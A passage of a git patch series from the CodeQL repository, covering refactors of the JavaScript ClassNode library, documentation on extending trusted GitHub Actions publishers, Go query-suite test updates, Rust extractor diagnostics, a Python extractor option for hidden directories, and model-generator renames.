astNode.(ClassDefinition).getSuperClass().flow() + or + ( + // C.prototype = Object.create(D.prototype) + exists(DataFlow::InvokeNode objectCreate, DataFlow::PropRead superProto | + this.getAPropertySource("prototype") = objectCreate and + objectCreate = DataFlow::globalVarRef("Object").getAMemberCall("create") and + superProto.flowsTo(objectCreate.getArgument(0)) and + superProto.getPropertyName() = "prototype" and + result = superProto.getBase() + ) + or + // C.prototype = new D() + exists(DataFlow::NewNode newCall | + this.getAPropertySource("prototype") = newCall and + result = newCall.getCalleeNode() + ) + or + // util.inherits(C, D); + exists(DataFlow::CallNode inheritsCall | + inheritsCall = DataFlow::moduleMember("util", "inherits").getACall() + | + this = inheritsCall.getArgument(0).getALocalSource() and + result = inheritsCall.getArgument(1) + ) + ) + } /** * Gets a direct super class of this class. @@ -1136,13 +1337,47 @@ class ClassNode extends DataFlow::SourceNode instanceof ClassNode::Range { * Gets the type annotation for the field `fieldName`, if any. */ TypeAnnotation getFieldTypeAnnotation(string fieldName) { - result = super.getFieldTypeAnnotation(fieldName) + exists(FieldDeclaration field | + field.getDeclaringClass() = astNode and + fieldName = field.getName() and + result = field.getTypeAnnotation() + ) } /** * Gets a decorator applied to this class. */ - DataFlow::Node getADecorator() { result = super.getADecorator() } + DataFlow::Node getADecorator() { + astNode instanceof ClassDefinition and + result = astNode.(ClassDefinition).getADecorator().getExpression().flow() + } +} + +/** + * Helper predicate to get a prototype reference in a file. + */ +private DataFlow::PropRef getAPrototypeReferenceInFile(string name, File f) { + result.getBase() = AccessPath::getAReferenceOrAssignmentTo(name) and + result.getPropertyName() = "prototype" and + result.getFile() = f +} + +/** + * Helper predicate to get an instantiation in a file. + */ +private DataFlow::NewNode getAnInstantiationInFile(string name, File f) { + result = AccessPath::getAReferenceTo(name).(DataFlow::LocalSourceNode).getAnInstantiation() and + result.getFile() = f +} + +/** + * Gets a reference to the function `func`, where there exists a read/write of the "prototype" property on that reference. + */ +pragma[noinline] +private DataFlow::SourceNode getAFunctionValueWithPrototype(AbstractValue func) { + exists(result.getAPropertyReference("prototype")) and + result.analyze().getAValue() = pragma[only_bind_into](func) and + func instanceof AbstractCallable // the join-order goes bad if `func` has type `AbstractFunction`. } module ClassNode { @@ -1214,262 +1449,7 @@ module ClassNode { DataFlow::Node getADecorator() { none() } } - private DataFlow::PropRef getAPrototypeReferenceInFile(string name, File f) { - result.getBase() = AccessPath::getAReferenceOrAssignmentTo(name) and - result.getPropertyName() = "prototype" and - result.getFile() = f - } - - pragma[nomagic] - private DataFlow::NewNode getAnInstantiationInFile(string name, File f) { - result = AccessPath::getAReferenceTo(name).(DataFlow::LocalSourceNode).getAnInstantiation() and - result.getFile() = f - } - - /** - * Gets a reference to the function `func`, where there exists a read/write of the "prototype" property on that reference. - */ - pragma[noinline] - private DataFlow::SourceNode getAFunctionValueWithPrototype(AbstractValue func) { - exists(result.getAPropertyReference("prototype")) and - result.analyze().getAValue() = pragma[only_bind_into](func) and - func instanceof AbstractCallable // the join-order goes bad if `func` has type `AbstractFunction`. - } - - deprecated class FunctionStyleClass = StandardClassNode; - - /** - * A function definition, targeted by a `new`-call or with prototype manipulation, seen as a `ClassNode` instance. - * Or An ES6 class as a `ClassNode` instance. - */ - class StandardClassNode extends Range, DataFlow::ValueNode { - override AST::ValueNode astNode; - AbstractCallable function; - - StandardClassNode() { - // ES6 class case - astNode instanceof ClassDefinition and - function.(AbstractClass).getClass() = astNode - or - // Function-style class case - astNode instanceof Function and - function.getFunction() = astNode and - ( - exists(getAFunctionValueWithPrototype(function)) - or - function = any(NewNode new).getCalleeNode().analyze().getAValue() - or - exists(string name | this = AccessPath::getAnAssignmentTo(name) | - exists(getAPrototypeReferenceInFile(name, this.getFile())) - or - exists(getAnInstantiationInFile(name, this.getFile())) - ) - ) - } - - override string getName() { - astNode instanceof ClassDefinition and result = astNode.(ClassDefinition).getName() - or - astNode instanceof Function and result = astNode.(Function).getName() - } - - override string describe() { - astNode instanceof ClassDefinition and result = astNode.(ClassDefinition).describe() - or - astNode instanceof Function and result = astNode.(Function).describe() - } - - override FunctionNode getConstructor() { - // For ES6 classes - astNode instanceof ClassDefinition and - result = astNode.(ClassDefinition).getConstructor().getBody().flow() - or - // For function-style classes - astNode instanceof Function and result = this - } - - private PropertyAccessor getAnAccessor(MemberKind kind) { - // Only applies to function-style classes - astNode instanceof Function and - result.getObjectExpr() = this.getAPrototypeReference().asExpr() and - ( - kind = MemberKind::getter() and - result instanceof PropertyGetter - or - kind = MemberKind::setter() and - result instanceof PropertySetter - ) - } - - override FunctionNode getInstanceMember(string name, MemberKind kind) { - // ES6 class methods - exists(MethodDeclaration method | - astNode instanceof ClassDefinition and - method = astNode.(ClassDefinition).getMethod(name) and - not method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - // ES6 class property or Function-style class methods via constructor - kind = MemberKind::method() and - exists(ThisNode receiver | - receiver = this.getConstructor().getReceiver() and - receiver.hasPropertyWrite(name, result) - ) - or - // Function-style class methods via prototype - kind = MemberKind::method() and - exists(DataFlow::SourceNode proto | - proto = this.getAPrototypeReference() and - proto.hasPropertyWrite(name, result) - ) - or - // Function-style class accessors - astNode instanceof Function and - exists(PropertyAccessor accessor | - accessor = this.getAnAccessor(kind) and - accessor.getName() = name and - result = accessor.getInit().flow() - ) - or - kind = MemberKind::method() and - result = this.getConstructor().getReceiver().getAPropertySource(name) - } - - override FunctionNode getAnInstanceMember(MemberKind kind) { - // ES6 class methods - exists(MethodDeclaration method | - astNode instanceof ClassDefinition and - method = astNode.(ClassDefinition).getAMethod() and - not method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - // ES6 class property or Function-style class methods via constructor - kind = MemberKind::method() and - exists(ThisNode receiver | - receiver = this.getConstructor().getReceiver() and - result = receiver.getAPropertySource() - ) - or - // Function-style class methods via prototype - kind = MemberKind::method() and - exists(DataFlow::SourceNode proto | - proto = this.getAPrototypeReference() and - result = proto.getAPropertySource() - ) - or - // Function-style class accessors - astNode instanceof Function and - exists(PropertyAccessor accessor | - accessor = this.getAnAccessor(kind) and - result = accessor.getInit().flow() - ) - or - kind = MemberKind::method() and - result = this.getConstructor().getReceiver().getAPropertySource() - } - - override FunctionNode getStaticMember(string name, MemberKind kind) { - exists(MethodDeclaration method | - astNode instanceof ClassDefinition and - method = astNode.(ClassDefinition).getMethod(name) and - method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - kind.isMethod() and - result = this.getAPropertySource(name) - } - - override FunctionNode getAStaticMember(MemberKind kind) { - exists(MethodDeclaration method | - astNode instanceof ClassDefinition and - method = astNode.(ClassDefinition).getAMethod() and - method.isStatic() and - kind = MemberKind::of(method) and - result = method.getBody().flow() - ) - or - kind.isMethod() and - result = this.getAPropertySource() - } - - /** - * Gets a reference to the prototype of this class. - * Only applies to function-style classes. - */ - DataFlow::SourceNode getAPrototypeReference() { - exists(DataFlow::SourceNode base | base = getAFunctionValueWithPrototype(function) | - result = base.getAPropertyRead("prototype") - or - result = base.getAPropertySource("prototype") - ) - or - exists(string name | - this = AccessPath::getAnAssignmentTo(name) and - result = getAPrototypeReferenceInFile(name, this.getFile()) - ) - or - exists(string name, DataFlow::SourceNode root | - result = - AccessPath::getAReferenceOrAssignmentTo(root, name + ".prototype").getALocalSource() and - this = AccessPath::getAnAssignmentTo(root, name) - ) - or - exists(ExtendCall call | - call.getDestinationOperand() = this.getAPrototypeReference() and - result = call.getASourceOperand() - ) - } - - override DataFlow::Node getASuperClassNode() { - // ES6 class superclass - astNode instanceof ClassDefinition and - result = astNode.(ClassDefinition).getSuperClass().flow() - or - ( - // C.prototype = Object.create(D.prototype) - exists(DataFlow::InvokeNode objectCreate, DataFlow::PropRead superProto | - this.getAPropertySource("prototype") = objectCreate and - objectCreate = DataFlow::globalVarRef("Object").getAMemberCall("create") and - superProto.flowsTo(objectCreate.getArgument(0)) and - superProto.getPropertyName() = "prototype" and - result = superProto.getBase() - ) - or - // C.prototype = new D() - exists(DataFlow::NewNode newCall | - this.getAPropertySource("prototype") = newCall and - result = newCall.getCalleeNode() - ) - or - // util.inherits(C, D); - exists(DataFlow::CallNode inheritsCall | - inheritsCall = DataFlow::moduleMember("util", "inherits").getACall() - | - this = inheritsCall.getArgument(0).getALocalSource() and - result = inheritsCall.getArgument(1) - ) - ) - } - - override TypeAnnotation getFieldTypeAnnotation(string fieldName) { - exists(FieldDeclaration field | - field.getDeclaringClass() = astNode and - fieldName = field.getName() and - result = field.getTypeAnnotation() - ) - } - - override DataFlow::Node getADecorator() { - astNode instanceof ClassDefinition and - result = astNode.(ClassDefinition).getADecorator().getExpression().flow() - } - } + deprecated class FunctionStyleClass = ClassNode; } /** diff --git a/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll b/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll index 44f827ddf3d3..cc4c883381ea 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/internal/CallGraphs.qll @@ -254,7 +254,7 @@ module CallGraph { not exists(DataFlow::ClassNode cls | node = cls.getConstructor().getReceiver() or - node = cls.(DataFlow::ClassNode::StandardClassNode).getAPrototypeReference() + node = cls.(DataFlow::ClassNode).getAPrototypeReference() ) } From d3aa2a130c4be6716325f3ccaa58cd5c477ffb37 Mon Sep 17 00:00:00 2001 From: Chad Bentz <1760475+felickz@users.noreply.github.com> Date: Thu, 1 May 2025 19:37:26 +0000 Subject: [PATCH 070/535] Moved guidance to RST --- .../CWE-829/UnpinnedActionsTag-CUSTOMIZING.md | 39 ------------------ .../Security/CWE-829/UnpinnedActionsTag.md | 2 - ...customizing-library-models-for-actions.rst | 41 ++++++++++++++++++- 3 files changed, 40 insertions(+), 42 deletions(-) delete mode 100644 actions/ql/src/Security/CWE-829/UnpinnedActionsTag-CUSTOMIZING.md diff --git a/actions/ql/src/Security/CWE-829/UnpinnedActionsTag-CUSTOMIZING.md b/actions/ql/src/Security/CWE-829/UnpinnedActionsTag-CUSTOMIZING.md deleted file mode 100644 index 1e64c2751a6f..000000000000 --- a/actions/ql/src/Security/CWE-829/UnpinnedActionsTag-CUSTOMIZING.md +++ /dev/null @@ -1,39 +0,0 @@ - ### Configuration - - If there is an Action publisher that you trust, you can include the owner name/organization in a data extension model pack to add it to the allow list for this query. Adding owners to this list will prevent security alerts when using unpinned tags for Actions published by that owner. - - #### Example - - To allow any Action from the publisher `octodemo`, such as `octodemo/3rd-party-action`, follow these steps: - - 1. Create a data extension file `/models/trusted-owner.model.yml` with the following content: - - ```yaml - extensions: - - addsTo: - pack: codeql/actions-all - extensible: trustedActionsOwnerDataModel - data: - - ["octodemo"] - ``` - - 2. Create a model pack file `/codeql-pack.yml` with the following content: - - ```yaml - name: my-org/actions-extensions-model-pack - version: 0.0.0 - library: true - extensionTargets: - codeql/actions-all: '*' - dataExtensions: - - models/**/*.yml - ``` - - 3. Ensure that the model pack is included in your CodeQL analysis. - - By following these steps, you will add `octodemo` to the list of trusted Action publishers, and the query will no longer generate security alerts for unpinned tags from this publisher. - - ## References - - [Extending CodeQL coverage with CodeQL model packs in default setup](https://docs.github.com/en/code-security/code-scanning/managing-your-code-scanning-configuration/editing-your-configuration-of-default-setup#extending-codeql-coverage-with-codeql-model-packs-in-default-setup) - - [Creating and working with CodeQL packs](https://docs.github.com/en/code-security/codeql-cli/using-the-advanced-functionality-of-the-codeql-cli/creating-and-working-with-codeql-packs#creating-a-codeql-model-pack) - - [Customizing library models for GitHub Actions](https://codeql.github.com/docs/codeql-language-guides/customizing-library-models-for-actions/) diff --git a/actions/ql/src/Security/CWE-829/UnpinnedActionsTag.md b/actions/ql/src/Security/CWE-829/UnpinnedActionsTag.md index 7b0749349a7f..f8ea2fdc82fe 100644 --- a/actions/ql/src/Security/CWE-829/UnpinnedActionsTag.md +++ b/actions/ql/src/Security/CWE-829/UnpinnedActionsTag.md @@ -8,8 +8,6 @@ Using a tag for a 3rd party Action that is not pinned to a commit can lead to ex Pinning an action to a full length commit SHA is currently the only way to use a non-immutable action as an immutable release. Pinning to a particular SHA helps mitigate the risk of a bad actor adding a backdoor to the action's repository, as they would need to generate a SHA-1 collision for a valid Git object payload. When selecting a SHA, you should verify it is from the action's repository and not a repository fork. -See the [`UnpinnedActionsTag-CUSTOMIZING.md`](https://github.com/github/codeql/blob/main/actions/ql/src/Security/CWE-829/UnpinnedActionsTag-CUSTOMIZING.md) file in the source code for this query for information on how to extend the list of Action publishers trusted by this query. - ## Examples ### Incorrect Usage diff --git a/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst b/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst index 5676a77cf866..2bf452b5a90b 100644 --- a/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst +++ b/docs/codeql/codeql-language-guides/customizing-library-models-for-actions.rst @@ -43,4 +43,43 @@ Customizing Actions-specific analysis: - **untrustedGhCommandDataModel**\(cmd_regex, flag) - **untrustedGitCommandDataModel**\(cmd_regex, flag) - **vulnerableActionsDataModel**\(action, vulnerable_version, vulnerable_sha, fixed_version) -- **workflowDataModel**\(path, trigger, job, secrets_source, permissions, runner) \ No newline at end of file +- **workflowDataModel**\(path, trigger, job, secrets_source, permissions, runner) + +Examples of custom model definitions +------------------------------------ + +The examples in this section are taken from the standard CodeQL Actions query pack published by GitHub. They demonstrate how to add tuples to extend extensible predicates that are used by the standard queries. + +Example: Extend the trusted Actions publishers for the ``actions/unpinned-tag`` query +~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ + +If there is an Action publisher that you trust, you can include the owner name/organization in a data extension model pack to add it to the allow list for this query. Adding owners to this list will prevent security alerts when using unpinned tags for Actions published by that owner. + +To allow any Action from the publisher ``octodemo``, such as ``octodemo/3rd-party-action``, follow these steps: + +1. Create a data extension file ``/models/trusted-owner.model.yml`` with the following content: + + .. code-block:: yaml + + extensions: + - addsTo: + pack: codeql/actions-all + extensible: trustedActionsOwnerDataModel + data: + - ["octodemo"] + +2. Create a model pack file ``/codeql-pack.yml`` with the following content: + + .. code-block:: yaml + + name: my-org/actions-extensions-model-pack + version: 0.0.0 + library: true + extensionTargets: + codeql/actions-all: '*' + dataExtensions: + - models/**/*.yml + +3. Ensure that the model pack is included in your CodeQL analysis. + +By following these steps, you will add ``octodemo`` to the list of trusted Action publishers, and the query will no longer generate security alerts for unpinned tags from this publisher. For more information, see `Extending CodeQL coverage with CodeQL model packs in default setup `_ and `Creating and working with CodeQL packs `_. From 9ba47eb65536bb723eea5ab73af3d9e2212b233f Mon Sep 17 00:00:00 2001 From: Owen Mansel-Chan Date: Thu, 1 May 2025 21:51:12 +0100 Subject: [PATCH 071/535] Update query suite inclusion integration tests --- .../integration-tests/query-suite/go-code-scanning.qls.expected | 1 + .../query-suite/go-security-and-quality.qls.expected | 1 + .../query-suite/go-security-extended.qls.expected | 1 + go/ql/integration-tests/query-suite/not_included_in_qls.expected | 1 - 4 files changed, 3 insertions(+), 1 deletion(-) diff --git a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected index 609e21e82ec0..20fcacbc3896 100644 --- a/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected +++ b/go/ql/integration-tests/query-suite/go-code-scanning.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected index 46f21d921ef7..7ff321d24ab9 100644 --- a/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-and-quality.qls.expected @@ -30,6 +30,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected index a206ef2364ab..3506e1020dde 100644 --- a/go/ql/integration-tests/query-suite/go-security-extended.qls.expected +++ b/go/ql/integration-tests/query-suite/go-security-extended.qls.expected @@ -8,6 +8,7 @@ ql/go/ql/src/Security/CWE-022/TaintedPath.ql ql/go/ql/src/Security/CWE-022/UnsafeUnzipSymlink.ql ql/go/ql/src/Security/CWE-022/ZipSlip.ql ql/go/ql/src/Security/CWE-078/CommandInjection.ql +ql/go/ql/src/Security/CWE-079/HtmlTemplateEscapingBypassXss.ql ql/go/ql/src/Security/CWE-079/ReflectedXss.ql ql/go/ql/src/Security/CWE-089/SqlInjection.ql ql/go/ql/src/Security/CWE-089/StringBreak.ql diff --git a/go/ql/integration-tests/query-suite/not_included_in_qls.expected b/go/ql/integration-tests/query-suite/not_included_in_qls.expected index 751c76041a29..ac2e3cb4c3a9 100644 --- a/go/ql/integration-tests/query-suite/not_included_in_qls.expected +++ b/go/ql/integration-tests/query-suite/not_included_in_qls.expected @@ -20,7 +20,6 @@ ql/go/ql/src/experimental/CWE-522-DecompressionBombs/DecompressionBombs.ql ql/go/ql/src/experimental/CWE-525/WebCacheDeception.ql ql/go/ql/src/experimental/CWE-74/DsnInjection.ql ql/go/ql/src/experimental/CWE-74/DsnInjectionLocal.ql -ql/go/ql/src/experimental/CWE-79/HTMLTemplateEscapingPassthrough.ql ql/go/ql/src/experimental/CWE-807/SensitiveConditionBypass.ql ql/go/ql/src/experimental/CWE-840/ConditionalBypass.ql ql/go/ql/src/experimental/CWE-918/SSRF.ql From 82736ea62157b2e13c981938e266084af9b64274 Mon Sep 17 00:00:00 2001 From: Paolo Tranquilli Date: Fri, 2 May 2025 13:43:00 +0200 Subject: [PATCH 072/535] Rust: add diagnostics about item expansion not working properly --- rust/extractor/src/translate/base.rs | 35 +++++++++++++++++++--------- 1 file changed, 24 insertions(+), 11 deletions(-) diff --git a/rust/extractor/src/translate/base.rs b/rust/extractor/src/translate/base.rs index 527f4e9497a8..476c02b3adfd 100644 --- a/rust/extractor/src/translate/base.rs +++ b/rust/extractor/src/translate/base.rs @@ -159,21 +159,24 @@ impl<'a> Translator<'a> { Some(node.syntax().text_range()) } } - pub fn emit_location(&mut self, label: Label, node: &impl ast::AstNode) { - if let Some((start, end)) = self - .text_range_for_node(node) + + fn location_for_node(&mut self, node: &impl ast::AstNode) -> (LineCol, LineCol) { + self.text_range_for_node(node) .and_then(|r| self.location(r)) - { - self.trap.emit_location(self.label, label, start, end) - } else { - self.emit_diagnostic( + .unwrap_or(UNKNOWN_LOCATION) + } + + pub fn emit_location(&mut self, label: Label, node: &impl ast::AstNode) { + match self.location_for_node(node) { + UNKNOWN_LOCATION => self.emit_diagnostic( DiagnosticSeverity::Debug, "locations".to_owned(), "missing location for AstNode".to_owned(), "missing location for AstNode".to_owned(), UNKNOWN_LOCATION, - ); - } + ), + (start, end) => self.trap.emit_location(self.label, label, start, end), + }; } pub fn emit_location_token( &mut self, @@ -657,9 +660,19 @@ impl<'a> Translator<'a> { let ExpandResult { value: expanded, .. } = semantics.expand_attr_macro(node)?; - // TODO emit err? self.emit_macro_expansion_parse_errors(node, &expanded); - let macro_items = ast::MacroItems::cast(expanded)?; + let macro_items = ast::MacroItems::cast(expanded).or_else(|| { + let message = "attribute macro expansion cannot be cast to MacroItems".to_owned(); + let location = self.location_for_node(node); + self.emit_diagnostic( + DiagnosticSeverity::Warning, + "item_expansion".to_owned(), + message.clone(), + message, + location, + ); + None + })?; let expanded = self.emit_macro_items(¯o_items)?; generated::Item::emit_attribute_macro_expansion(label, expanded, &mut self.trap.writer); Some(()) From b8be1bcee89b55de8bee6a1066ac8315816df539 Mon Sep 17 00:00:00 2001 From: Asger F Date: Fri, 2 May 2025 10:31:18 +0200 Subject: [PATCH 073/535] JS: Avoid duplication with constructor body --- javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll | 1 + javascript/ql/test/library-tests/ClassNode/tests.expected | 1 - javascript/ql/test/library-tests/Classes/tests.expected | 1 - 3 files changed, 1 insertion(+), 2 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index aab89e7baa3e..353d50eea1e1 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -872,6 +872,7 @@ class ClassNode extends DataFlow::ValueNode, DataFlow::SourceNode { or // Function-style class case astNode instanceof Function and + not astNode = any(ClassDefinition cls).getConstructor().getBody() and function.getFunction() = astNode and ( exists(getAFunctionValueWithPrototype(function)) diff --git a/javascript/ql/test/library-tests/ClassNode/tests.expected b/javascript/ql/test/library-tests/ClassNode/tests.expected index 1337e0c56942..687118ffa0bf 100644 --- a/javascript/ql/test/library-tests/ClassNode/tests.expected +++ b/javascript/ql/test/library-tests/ClassNode/tests.expected @@ -15,7 +15,6 @@ getAReceiverNode | tst.js:3:1:10:1 | class A ... () {}\\n} | tst.js:4:17:4:16 | this | | tst.js:3:1:10:1 | class A ... () {}\\n} | tst.js:7:6:7:5 | this | | tst.js:3:1:10:1 | class A ... () {}\\n} | tst.js:9:10:9:9 | this | -| tst.js:3:9:3:8 | () {} | tst.js:3:9:3:8 | this | | tst.js:13:1:13:21 | class A ... ds A {} | tst.js:13:20:13:19 | this | | tst.js:15:1:15:15 | function B() {} | tst.js:15:1:15:0 | this | | tst.js:15:1:15:15 | function B() {} | tst.js:17:19:17:18 | this | diff --git a/javascript/ql/test/library-tests/Classes/tests.expected b/javascript/ql/test/library-tests/Classes/tests.expected index 460614e02e10..aadd449349c2 100644 --- a/javascript/ql/test/library-tests/Classes/tests.expected +++ b/javascript/ql/test/library-tests/Classes/tests.expected @@ -194,7 +194,6 @@ test_ConstructorDefinitions | tst.js:11:9:11:8 | constructor() {} | test_ClassNodeConstructor | dataflow.js:4:2:13:2 | class F ... \\n\\t\\t}\\n\\t} | dataflow.js:4:12:4:11 | () {} | -| dataflow.js:4:12:4:11 | () {} | dataflow.js:4:12:4:11 | () {} | | fields.js:1:1:4:1 | class C ... = 42\\n} | fields.js:1:9:1:8 | () {} | | points.js:1:1:18:1 | class P ... ;\\n }\\n} | points.js:2:14:5:3 | (x, y) ... y;\\n } | | points.js:20:1:33:1 | class C ... ;\\n }\\n} | points.js:21:14:24:3 | (x, y, ... c;\\n } | From 30694c11d61cb159193b3e4c4f96c77a55c9fde4 Mon Sep 17 00:00:00 2001 From: Napalys Klicius Date: Fri, 2 May 2025 11:12:06 +0200 Subject: [PATCH 074/535] Removed code duplication --- .../lib/semmle/javascript/dataflow/Nodes.qll | 28 ------------------- 1 file changed, 28 deletions(-) diff --git a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll index 353d50eea1e1..f0d31df2a8f3 100644 --- a/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll +++ b/javascript/ql/lib/semmle/javascript/dataflow/Nodes.qll @@ -950,20 +950,6 @@ class ClassNode extends DataFlow::ValueNode, DataFlow::SourceNode { result = method.getBody().flow() ) or - // ES6 class property or Function-style class methods via constructor - kind = MemberKind::method() and - exists(ThisNode receiver | - receiver = this.getConstructor().getReceiver() and - receiver.hasPropertyWrite(name, result) - ) - or - // Function-style class methods via prototype - kind = MemberKind::method() and - exists(DataFlow::SourceNode proto | - proto = this.getAPrototypeReference() and - proto.hasPropertyWrite(name, result) - ) - or // Function-style class accessors astNode instanceof Function and exists(PropertyAccessor accessor | @@ -995,20 +981,6 @@ class ClassNode extends DataFlow::ValueNode, DataFlow::SourceNode { result = method.getBody().flow() ) or - // ES6 class property or Function-style class methods via constructor - kind = MemberKind::method() and - exists(ThisNode receiver | - receiver = this.getConstructor().getReceiver() and - result = receiver.getAPropertySource() - ) - or - // Function-style class methods via prototype - kind = MemberKind::method() and - exists(DataFlow::SourceNode proto | - proto = this.getAPrototypeReference() and - result = proto.getAPropertySource() - ) - or // Function-style class accessors astNode instanceof Function and exists(PropertyAccessor accessor | From 0c1b379ac1df511b01987732ed221e425833f948 Mon Sep 17 00:00:00 2001 From: Taus Date: Tue, 29 Apr 2025 15:12:38 +0000 Subject: [PATCH 075/535] Python: Extract files in hidden dirs by default Changes the default behaviour of the Python extractor so files inside hidden directories are extracted by default. Also adds an extractor option, `skip_hidden_directories`, which can be set to `true` in order to revert to the old behaviour. Finally, I made the logic surrounding what is logged in various cases a bit more obvious. Technically this changes the behaviour of the extractor (in that hidden excluded files will now be logged as `(excluded)`, but I think this makes more sense anyway. --- python/codeql-extractor.yml | 7 +++++++ python/extractor/semmle/traverser.py | 16 ++++++++++------ 2 files changed, 17 insertions(+), 6 deletions(-) diff --git a/python/codeql-extractor.yml b/python/codeql-extractor.yml index 97a9e1f2cf2f..2bd1a9c0aa76 100644 --- a/python/codeql-extractor.yml +++ b/python/codeql-extractor.yml @@ -44,3 +44,10 @@ options: Use this setting with caution, the Python extractor requires Python 3 to run. type: string pattern: "^(py|python|python3)$" + skip_hidden_directories: + title: Controls whether hidden directories are skipped during extraction. + description: > + By default, CodeQL will extract all Python files, including ones located in hidden directories. By setting this option to true, these hidden directories will be skipped instead. + Accepted values are true and false. + type: string + pattern: "^(true|false)$" diff --git a/python/extractor/semmle/traverser.py b/python/extractor/semmle/traverser.py index ad8bd38ae735..0945d8ace4bf 100644 --- a/python/extractor/semmle/traverser.py +++ b/python/extractor/semmle/traverser.py @@ -83,11 +83,10 @@ def _treewalk(self, path): self.logger.debug("Ignoring %s (symlink)", fullpath) continue if isdir(fullpath): - if fullpath in self.exclude_paths or is_hidden(fullpath): - if is_hidden(fullpath): - self.logger.debug("Ignoring %s (hidden)", fullpath) - else: - self.logger.debug("Ignoring %s (excluded)", fullpath) + if fullpath in self.exclude_paths: + self.logger.debug("Ignoring %s (excluded)", fullpath) + elif is_hidden(fullpath): + self.logger.debug("Ignoring %s (hidden)", fullpath) else: empty = True for item in self._treewalk(fullpath): @@ -101,7 +100,12 @@ def _treewalk(self, path): self.logger.debug("Ignoring %s (filter)", fullpath) -if os.name== 'nt': +if os.environ.get("CODEQL_EXTRACTOR_PYTHON_OPTION_SKIP_HIDDEN_DIRECTORIES", "false") == "false": + + def is_hidden(path): + return False + +elif os.name== 'nt': import ctypes def is_hidden(path): From 54f0eed2c67e96568896fc0728867bbebf0e21b2 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 2 May 2025 13:54:58 +0100 Subject: [PATCH 076/535] Shared: Rename 'asLiftedTaintModel' to 'asLiftedModel'. --- .../codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll | 2 +- shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll index 0c9e4349dfa2..34ea0dae6e67 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelGeneratorImpl.qll @@ -562,7 +562,7 @@ module MakeModelGeneratorFactory< private string captureThroughFlow(DataFlowSummaryTargetApi api, boolean preservesValue) { exists(string input, string output | preservesValue = max(boolean b | captureThroughFlow0(api, _, input, _, output, b)) and - result = ModelPrintingSummary::asLiftedTaintModel(api, input, output, preservesValue) + result = ModelPrintingSummary::asLiftedModel(api, input, output, preservesValue) ) } diff --git a/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll b/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll index 23bca7e930bb..d4fbd9062b63 100644 --- a/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll +++ b/shared/mad/codeql/mad/modelgenerator/internal/ModelPrinting.qll @@ -97,7 +97,7 @@ module ModelPrintingImpl { * Gets the lifted taint summary model for `api` with `input` and `output`. */ bindingset[input, output, preservesValue] - string asLiftedTaintModel( + string asLiftedModel( Printing::SummaryApi api, string input, string output, boolean preservesValue ) { result = asModel(api, input, output, preservesValue, true) From 4d2f2b89e76a4ef97e4d9a989e0df78cd0b14442 Mon Sep 17 00:00:00 2001 From: Mathias Vorreiter Pedersen Date: Fri, 2 May 2025 14:02:41 +0100 Subject: [PATCH 077/535] Shared/Java/C#/Rust/C++: Rename 'captureHeuristicFlow' to 'captureFlow'. --- .../dataflow/CaptureHeuristicSummaryModels.ql | 2 +- .../modelgenerator/debug/CaptureSummaryModelsPath.ql | 9 ++++----- .../dataflow/CaptureHeuristicSummaryModels.ql | 2 +- 